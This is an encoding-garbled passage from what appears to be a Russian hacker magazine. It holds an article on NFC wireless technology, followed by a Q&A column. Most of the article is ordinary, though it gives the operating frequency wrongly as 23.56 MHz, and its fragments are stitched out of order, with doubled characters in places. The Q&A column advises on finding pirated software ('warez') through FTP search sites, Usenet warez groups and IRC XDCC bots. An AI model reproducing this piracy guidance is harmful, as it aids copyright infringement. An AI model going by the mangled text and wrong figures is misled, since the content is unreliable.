çàèíòåðåñîâàâøóþ åãî ôåíüêó, äîòðîíóâøèñü
òåëåôîíîì äî åå íàçâàíèÿ. Ïðîäàâöû óáèâàþò
ñðàçó òðåõ çàéöåâ: íàãëÿäíî ðåêëàìèðóþò òî-
âàð, îáåñïå÷èâàþò ïðåäåëüíóþ ïðîñòîòó ïî-
êóïêè è ðåàëèçóþò ìãíîâåííóþ äîñòàâêó òîâà-
ðà ïîñðåäñòâîì ïåðåäà÷è äàííûõ ÷åðåç NFC.
Ïîõîæèå ñèñòåìû ðàçðàáàòûâàþòñÿ è äëÿ ìíî-
ãèõ äðóãèõ òîâàðîâ. Íàïðèìåð, íåêîòîðûå êîì-
ïàíèè àíîíñèðîâàëè âûïóñê ñåðâèñà ïî ïðîäà-
æå êîíöåðòíûõ áèëåòîâ. Öåëü ðàçðàáîò÷èêîâ
NFC çàêëþ÷àåòñÿ â îðãàíèçàöèè ïîâñåìåñòíîé
èíôðàñòðóêòóðû NFC-ñîâìåñòèìûõ óñòðîéñòâ,
êîòîðàÿ îõâàòèëà áû âñå àñïåêòû ñîâðåìåííîé
æèçíè. È ÷òî-òî ìíå ïîäñêàçûâàåò, ÷òî ñâîåé
öåëè îíè äîáüþòñÿ ëþáîé öåíîé.

[ïàðó ñëîâ î òåõíè÷åñêîé ñòîðîíå NFC]
Ïî áîëüøîìó ñ÷åòó, íîâèíêà î÷åíü ñõîæà ñî
âñåìè îñòàëüíûìè òåõíîëîãèÿìè áåñïðîâîäíîé
ñâÿçè, îäíàêî íåêîòîðûå îòëè÷èÿ âñå-òàêè åñòü.
Íà÷íåì ñ òîãî, ÷òî ñîåäèíåíèå ìåæäó NFC-óñò-
ðîéñòâàìè îñóùåñòâëÿåòñÿ èñêëþ÷èòåëüíî íàï-
ðÿìóþ, òî åñòü èñïîëüçóåòñÿ ïðèíöèï pear-to-
pear. Â îòëè÷èå îò Bluetooth è Wi-Fi, ãäå àêòèâíî
ïðèìåíÿþòñÿ òî÷êè äîñòóïà, â NFC âîçìîæåí
òîëüêî îäèí âàðèàíò îðãàíèçàöèè ñîåäèíåíèÿ
� «êëèåíò-ñåðâåð». Èíà÷å ãîâîðÿ, îäíîâðåìåí-
íî â ñîåäèíåíèè ó÷àñòâóþò òîëüêî äâà óñòðîé-
ñòâà. Ýòî ñâÿçàíî, âî-ïåðâûõ, ñ îãðàíè÷åííûì
ðàäèóñîì äåéñòâèÿ ïîäîáíûõ óñòðîéñòâ (íå çà-
áûâàé, ÷òî ýòî òåõíîëîãèÿ ðàäèîñâÿçè áëèæíå-
ãî äåéñòâèÿ), à âî-âòîðûõ, ñ íåîáõîäèìîñòüþ
îáåñïå÷åíèÿ áåçîïàñíîñòè ïîäêëþ÷åíèé è êîí-
ôèäåíöèàëüíîñòè ïåðåäàâàåìûõ äàííûõ.
Ðàáî÷àÿ ÷àñòîòà � 23,56 ÌÃö � âûáðàíà íå
ñëó÷àéíî. Îíà íå íóæ-
äàåòñÿ â îáÿçàòåëüíîì
ëèöåíçèðîâàíèè è ïî-
ýòîìó ìîæåò áûòü èñ-
ïîëüçîâàíà áåç ðèñêà
ïîëó÷èòü ïî ãîëîâå îò
ÃîñÑâÿçüÍàäçîðà. Êî-
íå÷íî, çàêîíîäàòåëü-
ñòâî íåêîòîðûõ ñòðàí
ìîæåò íàêëàäûâàòü íå-
êîòîðûå îãðàíè÷åíèÿ,
íî ýòî ìàëîâåðîÿòíî.
NFC-äåâàéñû ñîçäàþò
íàñòîëüêî íè÷òîæíûå
ïîìåõè äëÿ äðóãèõ ðà-

åòñÿ åùå äþæèíà ïîäîáíûõ âðîäå UWB,
ZigBee, ïî ðàçíûì ïðè÷èíàì íå ïîëó÷èâøèõ
øèðîêîãî ðàñïðîñòðàíåíèÿ (ïî êðàéíåé ìåðå,
ïîêà). Íîâàÿ ðàçðàáîòêà îò äâóõ ãèãàíòîâ Royal
Philips Electronics è Sony Corporation íàâåðíÿêà
îñòàëàñü áû ñðåäè íèõ, åñëè áû íå ñïåöèôèêà
åå èñïîëüçîâàíèÿ. Èìÿ òåõíîëîãèè � ðàäèî-
÷àñòîòíàÿ ñâÿçü áëèæíåãî äåéñòâèÿ èëè â îðè-
ãèíàëå Near Field Communication (NFC). Íîâèí-
êà ðàáîòàåò íà ÷àñòîòå 23,56 ÌÃö è ïîçâîëÿåò
ïåðåäàâàòü äàííûå íà ðàññòîÿíèå äî 20 ñì ñî
ñêîðîñòüþ ñâûøå 212 Êáèò/ñ. Áóäåò ëè ýòî ìó-
çûêà, âèäåî èëè êàêàÿ-òî òåõíè÷åñêàÿ èíôîð-
ìàöèÿ � íåâàæíî. Îñíîâíàÿ ôèøêà ýòîé òåõ-
íîëîãèè çàêëþ÷àåòñÿ â òîì, ÷òî îíà ïîëíîñòüþ
ñîâìåñòèìà ñ ñóùåñòâóþùèìè òåõíîëîãèÿìè
áåñêîíòàêòíîãî ñ÷èòûâàíèÿ ñìàðò-êàðò ôîðìà-
òà Philips Mifare è Sony FeliCa. Ýòî ïðåäîñòàâëÿ-
åò ìàññó íîâûõ âîçìîæíîñòåé, î êîòîðûõ ìû
ñåé÷àñ è ïîãîâîðèì.

[touch and connect] Íó êîíå÷íî æå, ïåðâîå,
äëÿ ÷åãî ìîæåò èñïîëüçîâàòüñÿ áåñïðîâîäíàÿ
ñâÿçü, � ýòî ïåðåäà÷à äàííûõ ìåæäó ðàçëè÷íû-
ìè óñòðîéñòâàìè. Ïîäîáíóþ âîçìîæíîñòü ïîëó-
÷àò ëþáûå äåâàéñû, îñíàùåííûå NFC-ìîäóëåì.
Äîñòàòî÷íî ïðèáëèçèòü èõ íà äîñòàòî÷íîå äëÿ
ñîåäèíåíèÿ ðàññòîÿíèå, è òû ñðàçó æå ñìîæåøü
ïåðåäàâàòü ìóçûêó, îáìåíèâàòüñÿ êàðòèíêàìè
èëè, íàïðèìåð, ñèíõðîíèçèðîâàòü àäðåñíóþ êíè-
ãó. Çäåñü âàæíî ïîíÿòü, ÷òî âñòðîåííûìè NFC-
ìîäóëÿìè áóäóò îñíàùàòüñÿ íå òîëüêî ñîòîâûå,
ÊÏÊ è ïðî÷èé ìîáèëüíûé ñòàôô, íî è ëþáûå
äðóãèå ïðèáîðû. Ïåðåäàâàòü ìåëîäèè è êàðòèí-
êè ñ ñîòîâîãî íà ñîòîâûé � ýòî, êîíå÷íî, âåñåëî,
íî òàêàÿ ñâÿçü ìîæåò ïîíàäîáèòüñÿ è, íàïðèìåð,
òåëåâèçîðó. Åñëè îñíàñòèòü åãî NFC-ñâÿçüþ, òî
òû ëåãêî ñìîæåøü ïðîñìàòðèâàòü ôîòîãðàôèè ñ
öèôðîâèêà. Íå íàäî íèêàêèõ øíóðîâ è ïðî÷èõ
ñîåäèíèòåëüíûõ ïðèñïîñîáëåíèé: ïðîñòî ïîñ-
òàâü ôîòîàïïàðàò íà òåëåâèçîð è íàñëàæäàéñÿ
êà÷åñòâåííûìè ôîòêàìè. Ê ñëîâó, ïðîòîòèï ïî-
äîáíîãî òåëåâèçîðà óæå ðàçðàáîòàí Sony è, âîç-
ìîæíî, ñêîðî âîéäåò â ñåðèéíîå ïðîèçâîäñòâî.
Îïûòíûå ÷èòàòåëè, íàâåðíîå, óæå íà÷àëè çàäà-
âàòüñÿ âîïðîñîì, ïî÷åìó ïðîèçâîäèòåëè îáÿ-
çàòåëüíî áóäóò èñïîëüçîâàòü ýòó òåõíîëîãèþ?
Åñòü äâå ïðè÷èíû. Âî-ïåðâûõ, ýòî óæå ñòàíäàð-
òèçîâàííàÿ òåõíîëîãèÿ, êîòîðàÿ ïîëó÷èëà

îñíàùåííûå NFC-àäàïòåðîì ÒÂ ñìîãóò ëåãêî
ñ÷èòûâàòü ôîòîãðàôèè ñ öèôðîâèêîâ è ñðàçó
îòîáðàæàòü èõ íà ýêðàíå

çàêà÷àòü íîâóþ ìóçûêó íà ìîáèëüíûé òåëå-
ôîí? Íå ïðîáëåìà, åñëè îáà óñòðîéñòâà ïîä-
äåðæèâàþò NFC

óíèâåðñàëüíûé NFC-
àäàïòåð, êîòîðûì
î÷åíü ñêîðî áóäóò îñ-
íàùåíû òóðíèêåòû â
îáùåñòâåííîì òðàíñ-
ïîðòå íåêîòîðûõ ãî-
ðîäêîâ Ãåðìàíèè
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öåíà NFC-ìîäóëåé
ñîñòàâëÿåò âñåãî
íåñêîëüêî äåñÿòêîâ
öåíòîâ. Àíàëîãè÷íûé
ïîêàçàòåëü ó
Bluetooth íà íåñêîëü-
êî ïîðÿäêîâ âûøå� 

ñîâìåñòíàÿ ðàçðà-
áîòêà Visa è Philips.
Òåïåðü òû ñìîæåøü
èñïîëüçîâàòü ìî-
áèëüíûé òåëåôîí
èëè ÊÏÊ êàê ïëàñòè-
êîâóþ êàðòó

äèîóñòðîéñòâà, ÷òî èõ ìîæíî íå áðàòü â ðàñ÷åò.
Ðàáî÷àÿ ÷àñòîòà, êàê è ìíîãèå äðóãèå àñïåêòû
ðàáîòû ïðîòîêîëà NFC, áûëè ïåðåíÿòû ó äðó-
ãîé èçâåñòíîé òåõíîëîãèè � RFID (ðàäèî÷àñ-
òîòíàÿ èäåíòèôèêàöèÿ). Ïîñëåäíÿÿ ïîëó÷èëà
øèðîêîå ðàñïðîñòðàíåíèå íà ðàçëè÷íûõ ñêëà-
äàõ è ïðîèçâîäñòâå, ãäå íóæíî ïîñòîÿííî èäåí-
òèôèöèðîâàòü ïîëó÷åííûé ãðóç, ïðèáûâøèå
ìàøèíû è ò.ï. Íà êàæäûé îáúåêò íàêëåèâàåòñÿ
ñïåöèàëüíûé ìèíèàòþðíûé ïåðåäàò÷èê, êîòî-
ðûé íà ðåãóëÿðíîé îñíîâå ïåðåäàåò â ýôèð íå-
êèé èäåíòèôèêàöèîííûé êîä. Â íóæíûõ ìåñòàõ
ðàññòàâëÿþòñÿ ñïåöèàëüíûå ñêàíåðû, êîòîðûå
«ñëóøàþò» ÷àñòîòó 23,56 ÌÃö (çíàêîìàÿ öèô-
ðà?), è ïîýòîìó ëåãêî ñ÷èòûâàþò èäåíòèôèêà-
öèîííûé êîä ñ ïåðåäàò÷èêîâ è òàêèì îáðàçîì
èäåíòèôèöèðóþò îáúåêòû. 
Ïîäîáíî ìíîãèì äðóãèì äåâàéñàì, ðàáîòàþ-
ùèì â ðàäèî÷àñòîòíîì äèàïàçîíå, NFC-ñîåäè-
íåíèå ÿâëÿåòñÿ ïîëóäóïëåêñíûì. Âñïîìíè: äëÿ
òîãî ÷òîáû ñêàçàòü ÷òî-òî ïî ðàöèè, ïðèõîäèòñÿ
çàæèìàòü ñïåöèàëüíóþ êíîïêó. Òåáÿ ñëûøíî
òîëüêî òîãäà, êîãäà ýòà êíîïêà íàæàòà, çàòî,
îòïóñêàÿ êíîïêó, òû ìîæåøü óñëûøàòü ñâîåãî
ñîáåñåäíèêà. Ýòî è íàçûâàåòñÿ ðåæèìîì «ïî-
ëóäóïëåêñà». Â ïëîñêîñòè NFC ýòî âûãëÿäèò
òàê: ïåðåä ïåðåäà÷åé äàííûõ NFC-óñòðîéñòâî
äîëæíî ïðîñêàíèðîâàòü ýôèð, è, ëèøü óáåäèâ-
øèñü â òîì, ÷òî íè îäíî äðóãîå óñòðîéñòâî íå
àêòèâíî, ïðèñòóïàòü ê ïåðåäà÷å ñèãíàëà.
Ïðîòîêîë NFC äèôôåðåíöèðóåò óñòðîéñòâà íà
òå, êîòîðûå èíèöèèðóþò ïîäêëþ÷åíèå (Initiator) è
òå, ÷òî ïðèíèìàþò åãî (Target of the communica-

tion). Â çàâèñèìîñòè îò ñèòóàöèè ëþáîå óñòðîé-
ñòâî ìîæåò âûïîëíÿòü êàê îäíè, òàê è äðóãèå
ôóíêöèè. Ïîäîáíîå ðàçäåëåíèå ðîëåé áûëî ðåà-
ëèçîâàíî íå çàáàâû ðàäè, à äëÿ òîãî ÷òîáû ðàçã-
ðàíè÷èòü îáÿçàííîñòè êàæäîé èç ó÷àñòâóþùèõ â
ñîåäèíåíèè ñòîðîí. Initiator âñåãäà âûïîëíÿåò
ôóíêöèè êîîðäèíàòîðà: óïðàâëÿåò ÷àñòîòíîé è
ïàêåòíîé ñèíõðîíèçàöèåé, ñëåäèò çà ñâÿçüþ,
óðîâíåì ñèãíàëà è ò.ï. Çàäà÷è ïðèíèìàþùåé
ñòîðîíû ñóùåñòâåííî ïðîùå: îíà ëèøü îòâå÷àåò
íà çàïðîñû ñîåäèíåíèÿ. Ñòîèò ñêàçàòü, ÷òî óñò-
ðîéñòâà ìîãóò ðàáîòàòü â àêòèâíîì (Active mode)
èëè æå ïàññèâíîì (Passive mode) ðåæèìå. Ðàç-
íèöà â òîì, ÷òî â àêòèâíîì ðåæèìå îáà äåâàéñà
ãåíåðèðóþò ñâîå ýëåêòðîìàãíèòíîå ïîëå è èñ-
ïîëüçóþò åãî äëÿ ïåðåäà÷è äàííûõ. Â ïàññèâíîì
ðåæèìå ïîëå ãåíåðèðóåò òîëüêî îäíî èç óñò-
ðîéñòâ, íî çàòî äðóãèì óñòðîéñòâîì èñïîëüçóåò-
ñÿ îñîáûé ìåòîä ìîäóëÿöèè ñèãíàëà. Â ïðîòîêî-
ëå òàêæå ïðîïèñàíî, ÷òî óñòðîéñòâî, èíèöèèðóþ-
ùåå ïîäêëþ÷åíèå, âñåãäà äîëæíî ðàáîòàòü â àê-
òèâíîì ðåæèìå, òî åñòü ãåíåðèðîâàòü ñâîå
ýëåêòðîìàãíèòíîå ïîëå. È ýòî âïîëíå ëîãè÷íî.
Êîãäà äâà îáúåêòà ñî âñòðîåííûìè ìèêðîñõå-
ìàìè ïîääåðæêè NFC îêàçûâàþòñÿ ïîáëèçîñòè
(ìàêñèìàëüíàÿ äèñòàíöèÿ 20 ñì), îíè ðàñïîç-
íàþò äðóã äðóãà è îðãàíèçóþò ñîåäèíåíèå, â õî-
äå êîòîðîãî âîçìîæåí îáìåí äàííûìè íà ñêî-
ðîñòè 106 Êáèò/ñ, 212 Êáèò/ñ èëè 424 Êáèò/ñ. 
Ñïåöèôèêàöèÿ NFCIP-1 (Near Field Communication)
ïðåäóñìàòðèâàåò ðàçëè÷íûå ìåòîäû ìîäóëÿ-
öèè ñèãíàëà è êîäèðîâàíèÿ äàííûõ äëÿ ðàçíûõ
ñêîðîñòåé. NFC ïîñòîÿííî îòñëåæèâàåò ñîñòîÿ-

íèå êàíàëà è ïîäñòðà-
èâàåòñÿ ïîä êîíêðåò-
íûå óñëîâèÿ ñðåäû.
Åñëè ýôèð ñèëüíî çà-
øóìëåí, ðàçóìåíèå èñ-
ïîëüçîâàòü ìåíüøóþ
ñêîðîñòü è áîëüøåå êî-
ëè÷åñòâî èçáûòî÷íûõ
äàííûõ äëÿ âîçìîæ-
íîñòè êîððåêöèè îøè-
áîê. Åñëè ïîìåõè â
ýôèðå íåçíà÷èòåëüíû,

çíà÷èò, NFC-óñòðîéñòâà âïîëíå ìîãóò ðàáîòàòü
íà ñàìîé âûñîêîé ñêîðîñòè, ïî êðàéíåé ìåðå,
äî òåõ ïîð, ïîêà óñëîâèÿ â ýôèðå íå èçìåíÿò-
ñÿ. Âûáîð ñêîðîñòè è ìåòîä ìîäóëÿöèè âûáè-
ðàåò óñòðîéñòâî, êîòîðîå èíèöèèðóåò ïîäêëþ-
÷åíèå. Ïîñëå ýòîãî â ýôèð ïåðåäàåòñÿ îïðåäå-
ëåííûé íàáîð ñèìâîëîâ, êîòîðûå ëåãêî àíàëè-
çèðóþòñÿ è ïîçâîëÿþò ïðèíèìàþùåé ñòîðîíå
íàñòðîèòüñÿ íà òó æå ñêîðîñòü è ìîäóëÿöèþ. 

[çàêëþ÷åíèå] Ïåðñïåêòèâû NFC î÷åâèäíû.
Ñîîòâåòñòâóþùèå ìîäóëè çíà÷èòåëüíî óïðî-
ùàþò ïðîöåäóðó èäåíòèôèêàöèè îáúåêòîâ, îá-
ìåí äàííûìè è ïðîöåññ îïëàòû òîâàðîâ è óñ-
ëóã. Èõ ìîæíî âñòðàèâàòü â ìîáèëüíûå òåëå-
ôîíû, öèôðîâûå ôîòîàïïàðàòû, êàðìàííûå è
îáû÷íûå êîìïüþòåðû, ëþáóþ áûòîâóþ òåõíè-
êó è ò.ï. Ïðè ýòîì ñòîèìîñòü èíòåãðàöèè NFC
áóäåò íà íåñêîëüêî ïîðÿäêîâ íèæå, ÷åì òîãî
æå Bluetooth. Ðàçðàáîò÷èêè ñ çàâèäíîé óâåðåí-
íîñòüþ óòâåðæäàþò, ÷òî òåõíîëîãèÿ ïîëó÷èò
áóðíîå ðàçâèòèå â ñàìûå áëèæàéøèå ãîäû, è
óæå ê 2008 ãîäó áîëåå 35% âñåõ ìîáèëüíûõ òå-
ëåôîíîâ áóäóò åå ïîääåðæèâàòü. Â äîêàçà-
òåëüñòâî ìîèõ ñëîâ ìîæíî ïðèâåñòè òîò ôàêò,
÷òî òàêèå ãèãàíòû, êàê Nokia, Samsung è
Motorola óæå ïðèñîåäèíèëèñü ê NFC Forum (îð-
ãàíèçàöèè êîòîðàÿ ñíà÷àëà ñòàíäàðòèçèðîâà-
ëà íîâóþ òåõíîëîãèþ, à òåïåðü çàíèìàåòñÿ åå
ïðîäâèæåíèåì íà ðûíîê). À íåìåöêàÿ òðàíñïî-
ðòíàÿ êîìïàíèÿ RMV ñîáèðàåòñÿ óæå â íà÷àëå
ñëåäóþùåãî ãîäà ïðèìåíèòü NFC íîâèíêó íà
ñâîèõ àâòîáóñíûõ ìàðøðóòàõ â ã.Õàíàó (ïðèãî-
ðîä Ôðàíêôóðòà) 

ÁÓÄÓÙÅÅ? ÍÍÅÒ, ÓÓÆÅ ÍÍÀÑÒÎßÙÅÅ!
Â ñàìîì íà÷àëå ðàçâèòèè òåõíîëîãèè äëÿ Sony è Philips áûëî
âàæíî ñòàíäàðòèçèðîâàòü òåõíîëîãèþ è ñäåëàòü åå äîñòóïíîé
äðóãèì ïðîèçâîäèòåëÿì. À êàê èíà÷å? Âåäü â ïðîòèâíîì ñëó÷àå
íà ìàññîâîå ðàñïðîñòðàíåíèå òåõíîëîãèè ìîæíî íå íàäåÿòüñÿ,
à ýòî ôàêòè÷åñêè ÿâëÿåòñÿ ïðîâàëîì âñåé çàäóìêè â öåëîì.
Ðàäèî÷àñòîòíàÿ ñâÿçü áëèæíåãî äåéñòâèÿ ïî îïðåäåëåíèþ
äîëæíà áûòü ìàêñèìàëüíî ðàñïðîñòðàíåííîé, èíà÷å äëÿ êîíå÷-
íîãî ïîòðåáèòåëÿ ýòî áóäåò íå áîëåå ÷åì åùå îäèí ïóíêò â
ñïèñêå ïîääåðæèâàåìûõ âîçìîæíîñòåé. Â äåêàáðå 2003 ãîäà
ïðîèçâîäèòåëÿì ýòî ñäåëàòü óäàëîñü: òåõíîëîãèÿ ñòàëà ìåæäó-
íàðîäíûì ñòàíäàðòîì. Ñïåöèôèêàöèÿ Near Field Communication
(NFCIP-1) ïîëó÷èëà îäîáðåíèå îðãàíèçàöèè ISO è Ìåæäóíàðîä-
íîé Ýëåêòðîòåõíè÷åñêîé Êîìèññèè (IEC). Íîâûé ñòàíäàðò áûë
îáîçíà÷åí ISO/IEC IS 18092 è ôàêòè÷åñêè ïðåäñòàâëÿë ñîáîé
ñèìáèîç äâóõ òåõíîëîãèé: Mifare (Philips) è FeliCa (Sony).
Íà áàçå çàâîäîâ Philips áûëî îðãàíèçîâàíî ïðîèçâîäñòâî èíæå-
íåðíûõ îáðàçöîâ êîììóíèêàöèîííîãî ÷èïà äëÿ NFC. Ïëàíèðî-
âàëîñü, ÷òî ÷èïû ïîéäóò â êîììåð÷åñêóþ ýêñïëóàòàöèþ âî âòî-
ðîé ïîëîâèíå 2004 ãîäà. È íå îáìàíóëè. Íà âûñòàâêå âûñîêèõ
òåõíîëîãèé â Ìîíàêî áûëà ïðåäñòàâëåíà ñìåííàÿ ïàíåëü äëÿ
Nokia 3220, â êîòîðóþ èíòåãðèðîâàíà òåõíîëîãèÿ ñâÿçè â áëèæ-
íåì ýëåêòðîñòàòè÷åñêîì ïîëå (NFC, Near-Field Communications).
Â ïàíåëü äëÿ Nokia 3220 èíòåãðèðîâàí NFC-÷èï Philips, ñîäåð-
æàùèé 8-ðàçðÿäíûé Java-ìèêðîêîíòðîëëåð ñìàðò-êàðò SmartMX
ñ 72 Êá ïåðåçàïèñûâàåìîé ïîñòîÿííîé ïàìÿòè (EEPROM). Ñà-
ìîå ãëàâíîå: òàêèå òåëåôîí è ïàíåëü ìîæíî êóïèòü óæå ñåé÷àñ!

ñäåëàâ èç ìîáèëüíèêà óíèâåðñàëüíûé êîøå-
ëåê, ïðîèçâîäèòåëÿì åùå äîëãî ïðèäåòñÿ ëî-
ìàòü ãîëîâó íàä íîâûìè èçîáðåòåíèÿìè :)

ïðîñòî ïîäíåñè ñîòîâûé ê ñâîåìó êîìïüþòåðó è íóæíûå äàííûå, âðîäå íî-
âîé Java-èãðû, áûñòðî íà÷íóò çàêà÷èâàòü íà âíóòðåííþþ ïàìÿòü òåëåôîíà





QQ:: ÇÇààííèèììààþþññüü ððààççððààááîîòòêêîîéé îîääííîîéé ôôèèððììûû,, êêîîòòîîððààÿÿ èèììååååòò ííååññ-
êêîîëëüüêêîî ëëîîêêààëëîîêê ââ ððààççííûûõõ óóããîîëëêêààõõ ññòòððààííûû.. ÏÏîîëëîîââèèííóó èèçç ííèèõõ óóææåå
ââççÿÿëë ïïîîää êêîîííòòððîîëëüü,, ííîî îî÷÷ååííüü õõîî÷÷óó ððóóëëèèòòüü èèììèè,, êêààêê îîääííèèìì ööååëëîîìì,,
÷÷òòîîáá ííåå ããååììîîððððîîèèòòüüññÿÿ,, ïïååððååêêëëþþ÷÷ààÿÿññüü ññ îîääííîîéé ííàà ääððóóããóóþþ.. 
A: Ó íà÷èíàþùèõ àäìèíîâ (ïóñòü è íå íàíÿòûõ, íî íåçàìåòíûõ è óäà-
ëåííûõ :)) ñóùåñòâóåò îäèí îáùèé íåäóã � î÷åíü òÿæåëî ñëåäèòü çà
ñëîæíîé ðàñïðåäåëåííîé ñèñòåìîé. Íà ñàìîì äåëå, ñîâðåìåííûå
ñðåäñòâà â íåêîòîðîì ñìûñëå ñòèðàþò ðàññòîÿíèÿ è ïîçâîëÿþò óäà-
ëåííî àäìèíèòü íåñêîëüêî ëîêàëîê ñ òàêèì æå óñïåõîì, ÷òî è îäíó
ìåñòíóþ. Ãëàâíîå çíàòü î íóæíûõ ñðåäñòâàõ âðîäå îïèñàííîé â ýòîì
æå íîìåðå Õ-òóëçå Kaboodle (www.kaboodle.org). Ïðîãðàììà, ïîñëå
óñòàíîâêè ñåðâåðíîé ÷àñòè ïî ðàçíûì ñåòÿì, ïîçâîëÿåò ñîáðàòü âî-
åäèíî âñå ðàçáðîñàííûå òàì ìàøèíêè. Òåáå íå íóæíî òûêàòüñÿ ïî
ðàçíûì ñåòêàì, îòêðûâàòü íîâûå îêíà � ïðîñòî âîçíèêàåò ñòðîéíîå
äåðåâî èç âñåãî äîñòóïíîãî IT-äîáðà. Åñòü êàê unix, òàê è win-êëîíû:
ñåòè ëþáîé êîíôèãóðàöèè ïîïàäàþò ïîä ÷óòêèé êîíòðîëü. Ó÷èòûâàÿ
áåñïëàòíûé ñîôò, íå ñëîæíî äîãàäàòüñÿ îá îãðàíè÷åííûõ âîçìîæ-
íîñòÿõ óäàëåííîãî àäìèíèñòðèðîâàíèÿ: ïðèêîëüíûõ ðàäîñòåé a-la
ñòàðèííûé Netbus çäåñü íå äåðæàò.

QQ:: ÓÓææåå òòððååòòüüþþ ííååääååëëþþ ííåå ììîîããóó ääîîêêàà÷÷ààòòüü ððååääêêèèéé ââààððååçç èèçç PP22PP;;
IIRRCC ííåå ääààååòò ññëëèèòòüü,, òòààêê êêààêê óó ììååííÿÿ êêààííààëë óóççêêèèéé ((ääèèààëëààïï)).. 
ÃÃääåå ååùùåå ììîîææííîî ääîîááûûòòüü ýýòòóó ððååääêêîîññòòííóóþþ ââêêóóññííÿÿøøêêóó??
A: Ñòàíäàðòíûé îòâåò íà âîïðîñ «Ãäå?» � â ï...å, òî åñòü ïî-
èñêîâèêå :). Ðàçóìíî ïîïðîáîâàòü òîò æå ñàìûé Ãóãë, ïîñ-
êîëüêó âñå åùå âñòðå÷àþòñÿ ñåðäîáîëüíûå êàäðû, êîòîðûå
âûêëàäûâàþò âàðåç íà web. Òàêæå ïîìîãàþò è ñïåöèàëèçè-
ðîâàííûå FTP-èñêàëêè a-la www.filesearch.ru, ãäå ïîðîé âûñ-
êàêèâàþò ñåðâåðû ÍÈÈ, íà õàëÿâíîì ïðîñòðàíñòâå êîòîðûõ
ìîæíî íàéòè âñå âïëîòü äî ñåêðåòíûõ ÷åðòåæåé NASA. Ïîñ-
ëåäíåå æå âðåìÿ, êîãäà â P2P ñòàëè àêòèâíî îõîòèòüñÿ íà
âåäüì, ÿ ïåðåìåòíóëñÿ ê áîëåå ñòàðîìó ìåñòå÷êó � news-
ãðóïïàì. Ïðèìåðàìè ìîãóò áûòü news://news.giganews.com/
alt.2600.warez, news://news.giganews.com/alt.binaries, êîòîðûå
ìîæíî íàéòè íà áîëüøåé ÷àñòè news-ñåðâåðîâ. Ñïðîñè ñâîå-
ãî ISP î âîçìîæíîñòè èñïîëüçîâàíèÿ òàêîãî ñåðâèñà (øàáëîí �
news.ISPname.ru). Áåñïëàòíûå è îáùåäîñòóïíûå ñåðâåðû ðà-
çûñêèâàþòñÿ âñå òåì æå Google'îì (îëèãàðõè, êîìó íå æàëü
7�20 áàêñîâ åæåìåñÿ÷íî, èäóò íà www.premium-news.com).
Åäèíñòâåííîé ïðîáëåìîé ìîæåò ïîêàçàòüñÿ íåîáõîäèìîñòü
òÿíóòü âñå äîáðî ïî êóñî÷êàì, êîãäà òû íà÷èíàåøü ìàøè-
íàëüíî îòêðûâàòü íåñêîëüêî ñîò ïîñòîâ, ñîõðàíÿÿ àòòà÷è,
ñîáèðàòü âñþ êó÷ó âîåäèíî. Èçáåæàòü âñåãî ýòîãî ïîìîãàþò
news-leecher'û, ïðîãè äëÿ ïîèñêà è ñêà÷êè êîíòåíòà ñ news-
ñåðâàíòîâ. Äîáðîòíûé ïðèìåð, êîòîðûé ñòàáèëüíî ñíàáæàë
ìàòåðèàëîì çàêðûòóþ íûíå ðóáðèêó Leech, � NewsLeecher
(www.newsleecher.com).Þ
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M ÁÓÄÜ ÊÎÍÊÐÅÒÍÛÌ È ÇÀÄÀÂÀÉ ÊÎÍÊÐÅÒ-
ÍÛÅ ÂÎÏÐÎÑÛ! ÑÒÀÐÀÉÑß ÎÔÎÐÌÈÒÜ
ÑÂÎÞ ÏÐÎÁËÅÌÓ ÌÀÊÑÈÌÀËÜÍÎ ÄÅÒÀËÜ-
ÍÎ ÏÅÐÅÄ ÏÎÑÛËÊÎÉ Â HACK-FAQ. ÒÎËÜÊÎ
ÒÀÊ ß ÑÌÎÃÓ ÄÅÉÑÒÂÈÒÅËÜÍÎ ÏÎÌÎ×Ü
ÒÅÁÅ C ÎÒÂÅÒÎÌ, ÓÊÀÇÀÒÜ ÍÀ ÂÎÇ-
ÌÎÆÍÛÅ ÎØÈÁÊÈ. ÎÑÒÅÐÅÃÀÉÑß ÎÁ-
ÙÈÕ ÂÎÏÐÎÑÎÂ,  ÂÐÎÄÅ «ÊÀÊ ÂÇËÎ-
ÌÀÒÜ ÈÍÒÅÐÍÅÒ?», ÒÛ ÒÎËÜÊÎ ÏÎÒÐÀ-
ÒÈØÜ ÏÎ×ÒÎÂÛÉ ÒÐÀÔÈÊ. ÒÐßÑÒÈ ÈÇ
ÌÅÍß ÔÐÈØÊÈ (ÈÍÅÒ, ØÅËËÛ, ÊÀÐÒÛ)
� ÍÅ ÑÒÎÈÒ, ß ÑÀÌ ÆÈÂÓ ÍÀ ÃÓÌÀÍÈ-
ÒÀÐÍÓÞ ÏÎÌÎÙÜ.

HACK_FAQ cOMMENTS:
SideX 
hack-faq@real.xakep.ru
_VZLOM

Hack-Fack
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QQ:: ÍÍàà UUsseenneett ííåå ññììîîãã ííààééòòèè,, ÷÷òòîî èèññêêààëë.. ÐÐààññññêêààææèè,,
àà ííååòò êêààêêîîããîî-òòîî ññïïîîññîîááàà óóïïððîîññòòèèòòüü ññêêàà÷÷êêóó ââààððååççàà
ññ IIRRCC,, ÷÷òòîîááûû ííåå ççààïïîîììèèííààòòüü ññèèííòòààêêññèèññ ââññååõõ ííóóææ-
ííûûõõ êêîîììààííää??
A: Íà ñàìîì äåëå, íå òàê óæ è ìíîãî êîìàíä. Åñòü
ëèøü íåçàìûñëîâàòîå /ctcp nick-bot'a xdcc send
#pack'a. Òàê òû çàïðàøèâàåøü ëþáîé ïðèãëÿíóâ-
øèéñÿ ïàê áåç êàêèõ-ëèáî äîïîëíèòåëüíûõ ïîçíà-
íèé. Íå ðàäè êîìàíä, íî äëÿ àâòîìàòèçàöèè ïîèñ-
êà è çàïðîñîâ äîáðà, íàïðàâëþ òâîé âçîð íà ðåøå-
íèå ïîä íàçâàíèåì XDCC-Fetch (xdccfetch.source-
forge.net), êîòîðîå äîñòóïíî äëÿ Windows è Unix.
Åäèíñòâåííûì óñëîâèåì ñòàíîâèòñÿ íàëè÷èå èíòå-
ðïðåòàòîðà ÿçûêà Ruby, êîòîðûé âåñèò 12Ì (ëèíê
åñòü íà ñàéòå ñîôòèíû). Áîòû, êàê è ëþáîâü, èìå-
þò ñâîéñòâî óõîäèòü è âîçâðàùàòüñÿ, òàê ÷òî äëÿ
äîáû÷è íåîáõîäèìîãî áûâàåò ïîëåçíî ìîíèòîðèòü
çàïðàøèâàåìûå ôàéëû, òåðåáèòü ïðèõîäÿùèõ è
